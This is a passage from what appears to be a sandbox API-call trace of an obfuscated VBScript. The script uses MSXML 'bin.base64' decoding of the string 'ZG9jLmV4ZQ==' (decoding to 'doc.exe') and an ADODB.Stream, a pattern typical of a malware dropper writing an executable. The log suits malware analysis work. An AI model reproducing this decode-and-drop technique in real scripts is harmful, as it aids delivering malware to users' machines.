[2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0087.633] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1535d4 | out: ppvObject=0x1535d4*=0x83fd368) returned 0x0 [0087.633] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1535d0 | out: ppvObject=0x1535d0*=0x83fd378) returned 0x0 [0087.633] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0087.633] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.633] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.633] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0087.633] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1535d4 | out: ppvObject=0x1535d4*=0x83fd368) returned 0x0 [0087.633] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1535d0 | out: ppvObject=0x1535d0*=0x83fd378) returned 0x0 [0087.633] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0087.633] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.633] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.633] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x3 [0087.633] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x2 [0087.634] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1546ac | out: ppvObject=0x1546ac*=0x1112950) returned 0x0 [0087.634] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1546b0 | out: ppvObject=0x1546b0*=0x0) returned 0x80004002 [0087.634] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154680 | out: ppvObject=0x154680*=0x83fd368) returned 0x0 [0087.634] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15467c | out: ppvObject=0x15467c*=0x83fd378) returned 0x0 [0087.636] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1546b0 | out: ppvObject=0x1546b0*=0x0) returned 0x80004002 [0087.636] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.636] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.636] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x2 [0087.636] DOMDocument:IUnknown:Release (This=0x555214) returned 0x1 [0087.636] DOMDocument:IUnknown:QueryInterface (in: This=0x5551e8, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154740 | out: ppvObject=0x154740*=0x554630) returned 0x0 [0087.636] DOMDocument:IUnknown:AddRef (This=0x554630) returned 0x2 [0087.636] DOMDocument:IUnknown:Release (This=0x554630) returned 0x1 [0087.636] DOMDocument:IUnknown:Release (This=0x5551e8) returned 0x2 [0087.636] DOMDocument:IUnknown:QueryInterface (in: This=0x554630, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x554664) returned 0x0 [0087.636] DOMDocument:IDispatchEx:GetDispId (in: This=0x554664, bstrName="CreateElement", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=41) returned 0x0 [0087.636] DOMDocument:IUnknown:Release (This=0x554664) returned 0x1 [0087.636] DOMDocument:IUnknown:AddRef (This=0x554630) returned 0x2 [0087.636] DOMDocument:IUnknown:QueryInterface (in: This=0x554630, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x554664) returned 0x0 [0087.637] DOMDocument:IDispatchEx:InvokeEx (in: This=0x554664, id=41, lcid=0x409, wFlags=0x3, pdp=0x1547fc*(rgvarg=([0]=0x83d66f8*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="aux", varVal2=0x87e491c)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154910, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=([0]=0x83d66f8*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="aux", varVal2=0x87e491c)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154910*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x555450, varVal2=0x0), pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.637] DOMDocument:IUnknown:Release (This=0x554664) returned 0x2 [0087.637] DOMDocument:IUnknown:Release (This=0x554630) returned 0x1 [0087.637] DOMDocument:IUnknown:QueryInterface (in: This=0x555450, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154720 | out: ppvObject=0x154720*=0x555430) returned 0x0 [0087.637] DOMDocument:IUnknown:Release (This=0x555450) returned 0x1 [0087.637] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.637] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x0 [0087.638] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0087.638] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0087.638] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0087.638] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0087.638] GetCurrentThreadId () returned 0xd44 [0087.638] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.638] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.638] malloc (_Size=0x804) returned 0x83fc220 [0087.639] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0087.639] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0087.639] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.639] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x555430) returned 0x0 [0087.639] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="DataType", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=26) returned 0x0 [0087.639] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.639] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0087.639] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x555430) returned 0x0 [0087.640] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=26, lcid=0x409, wFlags=0x4, pdp=0x1547fc*(rgvarg=([0]=0x154738*(varType=0x8, wReserved1=0x14, wReserved2=0xc0e4, wReserved3=0x14, varVal1="bin.base64", varVal2=0x14c0cc)), rgdispidNamedArgs=([0]=0x1547f8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=([0]=0x154738*(varType=0x8, wReserved1=0x14, wReserved2=0xc0e4, wReserved3=0x14, varVal1="bin.base64", varVal2=0x14c0cc)), rgdispidNamedArgs=([0]=0x1547f8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.640] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0087.640] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.640] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0087.640] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartyzx", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0087.640] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartyzx", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0087.640] GetCurrentThreadId () returned 0xd44 [0087.640] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.641] malloc (_Size=0x404) returned 0x11c29f0 [0087.641] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0087.641] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartx", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0087.641] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartx", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0087.641] GetCurrentThreadId () returned 0xd44 [0087.641] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.642] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0087.642] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0087.642] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0087.642] GetCurrentThreadId () returned 0xd44 [0087.642] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.642] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0087.643] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0087.643] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0087.643] GetCurrentThreadId () returned 0xd44 [0087.643] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.643] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.643] malloc (_Size=0x804) returned 0x83fc220 [0087.643] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0087.643] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0087.643] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.643] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x555430) returned 0x0 [0087.644] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="Text", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=24) returned 0x0 [0087.644] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.644] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0087.644] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x555430) returned 0x0 [0087.645] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=24, lcid=0x409, wFlags=0x4, pdp=0x1547fc*(rgvarg=([0]=0x154738*(varType=0x8, wReserved1=0x15, wReserved2=0x6fa8, wReserved3=0x83d, varVal1="ZG9jLmV4ZQ==", varVal2=0x154d40)), rgdispidNamedArgs=([0]=0x1547f8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=([0]=0x154738*(varType=0x8, wReserved1=0x15, wReserved2=0x6fa8, wReserved3=0x83d, varVal1="ZG9jLmV4ZQ==", varVal2=0x154d40)), rgdispidNamedArgs=([0]=0x1547f8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.645] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0087.645] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.645] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154b14 | out: ppvObject=0x154b14*=0x555430) returned 0x0 [0087.646] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="NodeTypedValue", grfdex=0x8, pid=0x154b30 | out: pid=0x154b30*=25) returned 0x0 [0087.646] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.646] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0087.646] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154b1c | out: ppvObject=0x154b1c*=0x555430) returned 0x0 [0087.647] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=25, lcid=0x409, wFlags=0x3, pdp=0x154ae8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6738, pei=0x154ac4, pspCaller=0x846d2a8 | out: pdp=0x154ae8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6738*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b92d50*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), pei=0x154ac4*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.647] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0087.647] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.647] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0087.647] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.647] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.647] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lfkfdiooie", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.647] GetCurrentThreadId () returned 0xd44 [0087.647] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.647] ??2@YAPAXI@Z () returned 0x11c2228 [0087.648] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 5 [0087.648] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6d03b7c, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0087.648] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.648] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vgct783hth", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.648] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vgct783hth", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.648] GetCurrentThreadId () returned 0xd44 [0087.649] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.649] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.649] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="piiing", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.649] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="piiing", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.649] GetCurrentThreadId () returned 0xd44 [0087.649] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.649] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.650] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.650] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ldiwuywfj", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.650] GetCurrentThreadId () returned 0xd44 [0087.650] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.650] malloc (_Size=0x204) returned 0x84750c8 [0087.650] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.650] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.650] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.650] GetCurrentThreadId () returned 0xd44 [0087.651] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.651] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.651] malloc (_Size=0x804) returned 0x83fc220 [0087.651] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.651] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0087.651] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x154554 | out: lpclsid=0x154554*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0087.651] SysStringLen (param_1=0x0) returned 0x0 [0087.651] CoGetClassObject (in: rclsid=0x154554*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154544 | out: ppv=0x154544*=0x962b2d0) returned 0x0 [0087.652] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154540 | out: ppvObject=0x154540*=0x0) returned 0x80004002 [0087.652] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154548 | out: ppvObject=0x154548*=0x962bad0) returned 0x0 [0087.652] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0087.652] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x15450c | out: ppvObject=0x15450c*=0x962bb00) returned 0x0 [0087.652] ??2@YAPAXI@Z () returned 0x1112bf0 [0087.652] Stream:IObjectWithSite:SetSite (This=0x962bb00, pUnkSite=0x1112bf0) returned 0x0 [0087.652] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154454 | out: ppvObject=0x154454*=0x0) returned 0x80004002 [0087.652] 